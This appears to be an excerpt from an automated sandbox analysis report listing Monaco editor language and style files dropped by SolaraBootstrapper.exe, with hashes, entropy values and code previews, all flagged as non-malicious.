SHA-256:	A0D9F1A5CF3A2C1C62563226574240A7064CA8C7EAC39D061E87141A7CD8E4B5
SHA-512:	D80BFB2E6003D7A474883B4A38DD2E0166EB2E3C663383B59A5089AA162931473D7252E5701906783154DA0C649B366E898DDBAD4EFC6BAD4D1DA3C8F390D866
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/shell/shell", ["require","require"],(require)=>{.var moduleExports=(()=>{var a=Object.defineProperty;var s=Object.getOwnPropertyDescriptor;var n=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(r,e)=>{for(var i in e)a(r,i,{get:e[i],enumerable:!0})},d=(r,e,i,o)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let t of n(e))!l.call(r,t)&&t!==i&&a(r,t,{get:()=>e[t],enumerable:!(o=s(e,t))\|\|o.enumerable});return r};var p=r=>d(a({},"__esModule",{value:!0}),r);var g={};c(g,{conf:()=>m,language:()=>u});var m={comments:{lineComment:"#"},brackets:[["

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\solidity\solidity.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (18919)
Category:	dropped
Size (bytes):	19428
Entropy (8bit):	4.57468882983275
Encrypted:	false
SSDEEP:	384:Gu0rtIsZRoMteOKV6TXRcJcWlXvEnMemjVjlVuRHBziYs:6rtI9OA6TKJccXcnMemZ+HF8
MD5:	0C41AA0358C5B909F40BC42D4C537714
SHA1:	CD8E790DD0EB47B3F8E880245E8581E7ED10F697
SHA-256:	950AF3DFF2530D4FA5D9DAF02A0433B61B0CA72A90ABDAD76A4774CB6563292C
SHA-512:	E3730FD49FAFDD5F0BAC4292A86F0DC055E0D5DAD42EAACDB9258BC39EA25167105982C64F6692EAB191AF9D38CF0C11EB1D968D864AAB7B41ADB1445B21032F
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/solidity/solidity", ["require","require"],(require)=>{.var moduleExports=(()=>{var f=Object.defineProperty;var t=Object.getOwnPropertyDescriptor;var n=Object.getOwnPropertyNames;var s=Object.prototype.hasOwnProperty;var o=(e,x)=>{for(var d in x)f(e,d,{get:x[d],enumerable:!0})},r=(e,x,d,u)=>{if(x&&typeof x=="object"\|\|typeof x=="function")for(let i of n(x))!s.call(e,i)&&i!==d&&f(e,i,{get:()=>x[i],enumerable:!(u=t(x,i))\|\|u.enumerable});return e};var a=e=>r(f({},"__esModule",{value:!0}),e);var l={};o(l,{conf:()=>c,language:()=>m});var c={comments:{lineComment:"//",blockC

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\sophia\sophia.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3086)
Category:	dropped
Size (bytes):	3591
Entropy (8bit):	5.3438024249343306
Encrypted:	false
SSDEEP:	96:pQFDHnYRsS6+/ERMr2q+q+q15Th5L2ghb6YT75wGcmvRBNa:G9Yr5rtlfL2gtViYo
MD5:	29F304873002E75868CA6B8076F3639B
SHA1:	E903954C054E76B549868A9D7261BE5FF014F3A5
SHA-256:	3A090D3736D241BB706EC8011AA31D0CF3EF13715813EB8F1100B4738B63B025
SHA-512:	51E6F5704B8CE4C802565123229A6121F27C44994905C52338F9AC92537DA2263D5E272710B59F69081016123B3E719E78D743EA168AC7D607B3FB552610C342
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/sophia/sophia", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var l=(t,e)=>{for(var o in e)s(t,o,{get:e[o],enumerable:!0})},m=(t,e,o,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of a(e))!c.call(t,n)&&n!==o&&s(t,n,{get:()=>e[n],enumerable:!(r=i(e,n))\|\|r.enumerable});return t};var d=t=>m(s({},"__esModule",{value:!0}),t);var u={};l(u,{conf:()=>f,language:()=>g});var f={comments:{lineComment:"//",blockComme

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\sparql\sparql.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2874)
Category:	dropped
Size (bytes):	3379
Entropy (8bit):	5.255518653791173
Encrypted:	false
SSDEEP:	96:pQFDHnYRsKpK+/EG8nKVV1NwqVKzuoZFaXGTCj8K59eaQyfs0P4:G9YdcWCq8zuoZFaXGT888EaQysR
MD5:	5FD9C51E12EAA52A2CD55FCE4BF3243F
SHA1:	D79365147E89C1C9FA043A0151AB231188B06637
SHA-256:	C22B0378FAA2004AC710CE64149D231A9ED8C488B2BF84C222B19A4584C4E442
SHA-512:	29CC25057FB333281F3C4B4A2A509FEC3FF7E8A1F5F559E5F670C338FB5BC4622CA13D3FA13FCCAF8BBCC38262BD5FC2437540EB30E3CA81082CDE9CFA3D37E5
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/sparql/sparql", ["require","require"],(require)=>{.var moduleExports=(()=>{var o=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var d=(s,e)=>{for(var n in e)o(s,n,{get:e[n],enumerable:!0})},c=(s,e,n,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let t of a(e))!l.call(s,t)&&t!==n&&o(s,t,{get:()=>e[t],enumerable:!(r=i(e,t))\|\|r.enumerable});return s};var g=s=>c(o({},"__esModule",{value:!0}),s);var m={};d(m,{conf:()=>u,language:()=>p});var u={comments:{lineComment:"#"},brackets:[

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\sql\sql.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (10619)
Category:	dropped
Size (bytes):	11118
Entropy (8bit):	5.246135077425783
Encrypted:	false
SSDEEP:	192:G9YGEhBLxBmmO/C2WP+PeBFqKdtpxDByKMwaSlp8GGN7+HfYWvRfh+kpJAxj9PjW:GuLxB8/CRPhIN7+HLJfh+kQ9b3m
MD5:	A08684AA0EB095C6AEB92A42FFEC4B34
SHA1:	44968F7B443254F4F59634A452CA44F78D49FA3D
SHA-256:	6FF415ADFB27A1FBB87CFA40F0DA164E9314DD1DFED87A3DE39BF2C98E5DED1F
SHA-512:	A98D5BEAEFF6CFAF306CCE4152DF733B65CCE66D5F8E452A1322EBFC7897FCD07C82349A5F3F1FA577A0C76DDC755822DDC79BC9398BB6136236F02AF02F0EDF
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/sql/sql", ["require","require"],(require)=>{.var moduleExports=(()=>{var I=Object.defineProperty;var S=Object.getOwnPropertyDescriptor;var O=Object.getOwnPropertyNames;var C=Object.prototype.hasOwnProperty;var L=(T,E)=>{for(var A in E)I(T,A,{get:E[A],enumerable:!0})},e=(T,E,A,N)=>{if(E&&typeof E=="object"\|\|typeof E=="function")for(let R of O(E))!C.call(T,R)&&R!==A&&I(T,R,{get:()=>E[R],enumerable:!(N=S(E,R))\|\|N.enumerable});return T};var P=T=>e(I({},"__esModule",{value:!0}),T);var M={};L(M,{conf:()=>D,language:()=>U});var D={comments:{lineComment:"--",blockComment:["/

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\st\st.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (7725)
Category:	dropped
Size (bytes):	8222
Entropy (8bit):	5.088265541768438
Encrypted:	false
SSDEEP:	192:G9YXarEolwJJi1VJJhjO7Wmr5CV7Q7aIj:GTr9lww1bfjO7Ws5CV7pIj
MD5:	1493A7F80016267D49CAB198B49A188F
SHA1:	0893FC15EC983797FD3BC4A200D7C57B252DF080
SHA-256:	2A053BCBA1A7D58D2806F9206D643B2CDA43BEC4F0E7D50AE940A6F4322EA162
SHA-512:	FCC259023DB995A8727CCDEA1FCD63066763EF4B514F12A6DE07B2A8ADABF36597BD40AA758715BFF94545430EFE07C13DB78263B0D763920694A6917B28C942
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/st/st", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var s=Object.getOwnPropertyDescriptor;var c=Object.getOwnPropertyNames;var i=Object.prototype.hasOwnProperty;var d=(n,e)=>{for(var t in e)r(n,t,{get:e[t],enumerable:!0})},l=(n,e,t,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let o of c(e))!i.call(n,o)&&o!==t&&r(n,o,{get:()=>e[o],enumerable:!(a=s(e,o))\|\|a.enumerable});return n};var _=n=>l(r({},"__esModule",{value:!0}),n);var m={};d(m,{conf:()=>p,language:()=>u});var p={comments:{lineComment:"//",blockComment:["(*"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\swift\swift.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (5234)
Category:	dropped
Size (bytes):	5997
Entropy (8bit):	5.322492624705086
Encrypted:	false
SSDEEP:	96:pQFDHnYRsS+/Ey8SrbV1+/mQcV1+/mQ3OtPWeBQUamNgEC5yHSf3w6Bt1D0rtJP:G9Yq8SrT1x13ttr4Dr2JP
MD5:	E09D279F19A7FAB7B8E071A133A1D243
SHA1:	AD1372EB71C2F6B6615FC2A8C87A9FE046790FA5
SHA-256:	402DAA01303D2866384C42A497AA6A969A4858E4C023C6CED61C9B1E4768312D
SHA-512:	7848D9E9906F646B1C1E370236B05661DE7086755305C0663EC65E6C8D951E3B5EB2F2FA6CDB8B634E5224EB40E67887F86E3066A324FD9A7220752810DE9F87
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/swift/swift", ["require","require"],(require)=>{.var moduleExports=(()=>{var i=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var s=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(o,e)=>{for(var n in e)i(o,n,{get:e[n],enumerable:!0})},u=(o,e,n,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let t of s(e))!l.call(o,t)&&t!==n&&i(o,t,{get:()=>e[t],enumerable:!(r=a(e,t))\|\|r.enumerable});return o};var d=o=>u(i({},"__esModule",{value:!0}),o);var f={};c(f,{conf:()=>p,language:()=>m});var p={comments:{lineComment:"//",blockComment

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\systemverilog\systemverilog.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (7925)
Category:	dropped
Size (bytes):	8444
Entropy (8bit):	5.147974796323773
Encrypted:	false
SSDEEP:	192:G9YvrWKO8smwEcmL947wocAejKzaSWKEisQ4b9l/V:GmrdO8s/BmL947wocAISWKEi14b9v
MD5:	2D221CDD143B8693C0282EBE236FFBD3
SHA1:	5B7E79CE6B8FBAB5C0EDB6ADDCAA805BE589F9DC
SHA-256:	BD18A096FECBA5AD476E97E5065EC6EFD013EF7FBA7F9CC2E874A8B67EA0DAF0
SHA-512:	5C9AE644EF0DD28374EB37A6B40905266D53A23FAF03447ED39897BB7C68B74ECD49182EECCD0C9EE72E0DA84985F35F1ACCF815AEDDD3B8EFDB4B5657E2B95C
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/systemverilog/systemverilog", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var s=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var d=(n,e)=>{for(var t in e)r(n,t,{get:e[t],enumerable:!0})},l=(n,e,t,o)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let i of a(e))!c.call(n,i)&&i!==t&&r(n,i,{get:()=>e[i],enumerable:!(o=s(e,i))\|\|o.enumerable});return n};var p=n=>l(r({},"__esModule",{value:!0}),n);var f={};d(f,{conf:()=>u,language:()=>m});var u={comments:{lineComment:"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\tcl\tcl.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3893)
Category:	dropped
Size (bytes):	4392
Entropy (8bit):	5.207141315230274
Encrypted:	false
SSDEEP:	96:pQFDHnYRs4+/EoyV1+/0V1+/j7hv4bwceyWPO3lvdIGQc:G9YVxk7BlZ6+Pc
MD5:	6C52F931F23691C21B3725ACC77F4EE7
SHA1:	F30A48BBCB4932BC374DC73B8520BFB620C88E8D
SHA-256:	CDF4F3FD5D755A43D3A7F76D22559140BF49751E063A2CE444B818FD60C869F7
SHA-512:	DECBD06018AF7C29B529203771D6CC7CA23CB7AFC9CE11E4134CAD4A18F26ADEC4D55C34B73F14FABC3795040A9DC47376EA66CAFD43259BABB4926BF78B527E
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/tcl/tcl", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(t,e)=>{for(var o in e)s(t,o,{get:e[o],enumerable:!0})},p=(t,e,o,i)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of a(e))!l.call(t,n)&&n!==o&&s(t,n,{get:()=>e[n],enumerable:!(i=r(e,n))\|\|i.enumerable});return t};var u=t=>p(s({},"__esModule",{value:!0}),t);var g={};c(g,{conf:()=>k,language:()=>d});var k={brackets:[["{","}"],["[","]"],["(",")"]],au

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\twig\twig.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (6295)
Category:	dropped
Size (bytes):	6796
Entropy (8bit):	5.3253235674910595
Encrypted:	false
SSDEEP:	96:pQFDHnYRsyV//YSkzIABXV1+/6mQhX1aJt0lD2Ci2Ihhyc1lkaA7O/N6EHZQg6EJ:G9YJ+SRa+q8J+lD2Ci+5c/7ZQT9kD
MD5:	DCE32076AE8DEFBB172D7E3FCB4B286D
SHA1:	1180278EC6454B62762A2349A607B26FB9A4CF28
SHA-256:	49989D7C64D2272AB54BD0D7C5008083CB0A4B1BC9285E672893293B2614B14E
SHA-512:	50358FC6B0A0E4B877E484820F4B7A762AF0C85621275D2393DE44718ABB46490854934A2B77C4B3DA4A8E87F48BCF6A20A3B59FFA4F6630DD093B0DCD006304
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/twig/twig", ["require","require"],(require)=>{.var moduleExports=(()=>{var m=Object.defineProperty;var l=Object.getOwnPropertyDescriptor;var n=Object.getOwnPropertyNames;var a=Object.prototype.hasOwnProperty;var s=(e,t)=>{for(var r in t)m(e,r,{get:t[r],enumerable:!0})},d=(e,t,r,o)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let i of n(t))!a.call(e,i)&&i!==r&&m(e,i,{get:()=>t[i],enumerable:!(o=l(t,i))\|\|o.enumerable});return e};var p=e=>d(m({},"__esModule",{value:!0}),e);var g={};s(g,{conf:()=>h,language:()=>c});var h={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\@\$

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\typescript\typescript.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (5987)
Category:	dropped
Size (bytes):	6500
Entropy (8bit):	5.376551819278677
Encrypted:	false
SSDEEP:	96:pQFDHnYRsMV//UaNhuanx+rzmcZmXYYg1V1+KgqIqynytBGMBb6IoxxwpcaxuSWS:G9YJBhuq+rS70K0SdFSWl4Z
MD5:	B982EDEF10BB0BAE8DF25B06447BE228
SHA1:	86F1D6F0C460D3E27DD4C2600E20103680068889
SHA-256:	3D69304A326C73EE980632AA45ABD086EE1A6509BDF0F689A38B8F433ADCEF32
SHA-512:	BA3F4B6BD671FFA75C829C32D943FCB41CBED3F0F61582E977F4E5AA11BDA60F4CB85C0CE1BCA921AB7B898571073EF63F8FB356D0678C844770A4F6DCE28789
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/typescript/typescript", ["require","require"],(require)=>{.var moduleExports=(()=>{var l=Object.create;var s=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var b=Object.getPrototypeOf,u=Object.prototype.hasOwnProperty;var f=(e=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(e,{get:(t,n)=>(typeof require!="undefined"?require:t)[n]}):e)(function(e){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+e+'" is not supported')});var k=(e,t)=>()=>(t\|

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\vb\vb.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (6113)
Category:	dropped
Size (bytes):	6610
Entropy (8bit):	5.1777692177638786
Encrypted:	false
SSDEEP:	96:pQFDHnYRsbt+/EBY7SVNv2q+q17qcqv5FX5BmzpMCgkxIcKYWKkVe9NuHPe7Uiv8:G9YAM7m1W5FJOZxWYlkVeSewh
MD5:	1737FFE56ED46E9DE325B390791A1927
SHA1:	44C0283ED590DC935C94AC13E11E5A3BE36399A9
SHA-256:	36BD2530715B7D696F719207915A70534051B82EFF1F3888091759BF5E6D309D
SHA-512:	5FEBCB639063F58F06C0B51C2AEADB683AF25A8219BBBCB42DBBB151F8A9BD041269434D591297BD204C415023A6DF8406232E2C0281456B921D676C28DCCF46
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/vb/vb", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var d=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var i=(n,e)=>{for(var t in e)r(n,t,{get:e[t],enumerable:!0})},c=(n,e,t,s)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let o of d(e))!l.call(n,o)&&o!==t&&r(n,o,{get:()=>e[o],enumerable:!(s=a(e,o))\|\|s.enumerable});return n};var u=n=>c(r({},"__esModule",{value:!0}),n);var k={};i(k,{conf:()=>g,language:()=>p});var g={comments:{lineComment:"'",blockComment:["/*",

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\wgsl\wgsl.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	C source, ASCII text, with very long lines (1762)
Category:	dropped
Size (bytes):	8146
Entropy (8bit):	5.246964906382546
Encrypted:	false
SSDEEP:	192:G9Y/rTF+NFl2Mc4eMRDRYw/FzvKkb7UXwIez9+j:G+rTF+loU//FzvDGwIez9+j
MD5:	3266BE48A7BFD47578847E67C04B7148
SHA1:	85BCEC32919F18F275A6BC83141169D8C9F5623D
SHA-256:	175FDFC24F48C096A03509F731BA387F30F9E40EF5B783F7383C88F6CFD961B1
SHA-512:	AF40F1C526090C5CB7A090F197E7B80B5FA21CA75B3677D706C90807DCB616C75DCF1E540F1CF8E31B9854D1D74DC09057F2F2DDF8EA346F2A956E09F38B8BAA
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/wgsl/wgsl", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var u=Object.prototype.hasOwnProperty;var p=(t,e)=>{for(var a in e)s(t,a,{get:e[a],enumerable:!0})},d=(t,e,a,o)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let i of l(e))!u.call(t,i)&&i!==a&&s(t,i,{get:()=>e[i],enumerable:!(o=m(e,i))\|\|o.enumerable});return t};var x=t=>d(s({},"__esModule",{value:!0}),t);var F={};p(F,{conf:()=>f,language:()=>L});var f={comments:{lineComment:"//",blockComment:[

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\xml\xml.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (2993)
Category:	dropped
Size (bytes):	3492
Entropy (8bit):	5.440005861181836
Encrypted:	false
SSDEEP:	96:pQFDHnYRsscV//yaAAkJmQEmQkBcBreLo:G9YkWPIE5e1
MD5:	DAC8ECB560936AD932496249398FAB3A
SHA1:	F4CF96F4910C83CB6030167005105DB4C68E79CD
SHA-256:	05C1CA7A4076664A7B1247BBE10680821989D8646EED1912F9D3C5A8CE8BC817
SHA-512:	0EFB46595168C2D04D5E844BE6597045F1A11C41AB3D36D4C28616F3651492F6CCD9BD4D9E80C154EFED20D45D25F0CCAECB58485AFC4487473EC79FFDDBB588
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/xml/xml", ["require","require"],(require)=>{.var moduleExports=(()=>{var u=Object.create;var m=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var k=Object.getPrototypeOf,x=Object.prototype.hasOwnProperty;var f=(e=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(e,{get:(t,n)=>(typeof require!="undefined"?require:t)[n]}):e)(function(e){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+e+'" is not supported')});var w=(e,t)=>()=>(t\|\|e((t={exports

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\yaml\yaml.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (4595)
Category:	dropped
Size (bytes):	5096
Entropy (8bit):	5.475323240087475
Encrypted:	false
SSDEEP:	96:pQFDHnYRs5QYio/r/1v7RmV1+/0V1+/jkrBU+A/B1390elEZVOQaB9+aB9wd8rCi:G9Ys8IRNix1rOP/BEIIVOJJmqoE
MD5:	46F89D5C397EE1DFDE20917594200B76
SHA1:	582F5A021E97BD19D96AA03FA2ABB1402937D9CC
SHA-256:	040BA1DE2263EB7785C9C810D3C8DD0DA6B119B02C104DA055DC45AB7B20CF72
SHA-512:	A9F22A22903D5D3418B6A757828000603489AC43C7CF1FA1B21AF5AF02E561474A07390C974586FA8D169311D681537D51C25967D113911A93E9A1D16758BD24
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/yaml/yaml", ["require","require"],(require)=>{.var moduleExports=(()=>{var m=Object.create;var l=Object.defineProperty;var b=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var w=(e=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(e,{get:(n,t)=>(typeof require!="undefined"?require:n)[t]}):e)(function(e){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+e+'" is not supported')});var S=(e,n)=>()=>(n\|\|e((n={expor

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\editor\editor.main.css

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (65256)
Category:	dropped
Size (bytes):	115427
Entropy (8bit):	4.944339734080559
Encrypted:	false
SSDEEP:	1536:0cGIS2lRL4PfPuPjPAPGPoNh4wnlMQBmBkCsJsE0akxPZP/PGPCju7:QUq5BmBkCsJsE0akE
MD5:	DEFFA85F9389710F5ED0C1B4BF432459
SHA1:	A3E05DD6FD435E746D21E624A0E00E6149C2B196
SHA-256:	764A3DDE806A7414402E87CE4BF2DA4F5BB6F36910D887D5C8EE985C1BDF92BD
SHA-512:	13DE3B8695763AC2FFC62BB2D31D06153187C41ED30DE2B791D499B4A9A53FF4576457FF2BAAD5131582FD308A5C47BC089DB2EF562025FC80C59C4B6DF389BD
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/vscode/blob/main/LICENSE.txt. -----------------------------------------------------------/.monaco-action-bar{white-space:nowrap;height:100%}.monaco-action-bar .actions-container{display:flex;margin:0 auto;padding:0;height:100%;width:100%;align-items:center}.monaco-action-bar.vertical .actions-container{display:inline-block}.monaco-action-bar .action-item{display:block;align-items:center;justify-content:center;cursor:pointer;position:relative}.monaco-action-bar .action-item.disabled{cursor:default}.monaco-action-bar .action-item .codicon,.monaco-action-bar .action-item .icon{display:block}.monaco-action-bar .action-item .codicon{display:flex;align-items:center;width:16px;height:16px}.monaco-action-bar .action-label{display:flex;font-size:

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\editor\editor.main.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (65256)
Category:	dropped
Size (bytes):	3469378
Entropy (8bit):	5.415084325521743
Encrypted:	false
SSDEEP:	49152:ryuU6Sd8m7DYdvOeRGIoXbNN6TIClClxsZQEQ66SuJsI5pBCSGp5nzxFn7ygkZ08:4zSQ
MD5:	40C3107D0D6770823D1936A85BFC99A4
SHA1:	5C9C596EAE2CDAEFD6181DFF9A57D710C9507181
SHA-256:	A79692B8EABD24E0662310C8505D91AB8B85F17DB997E4B8F8838980B25BF6DF
SHA-512:	D6AF8797875A572359DD11BEF64DAB4128AF658F3717177AF483621E9815FBBAB6A27093565694A4B80074A99FEB51CE6F2C6079CDA60E2AC7307FBAFB7381D3
Malicious:	false
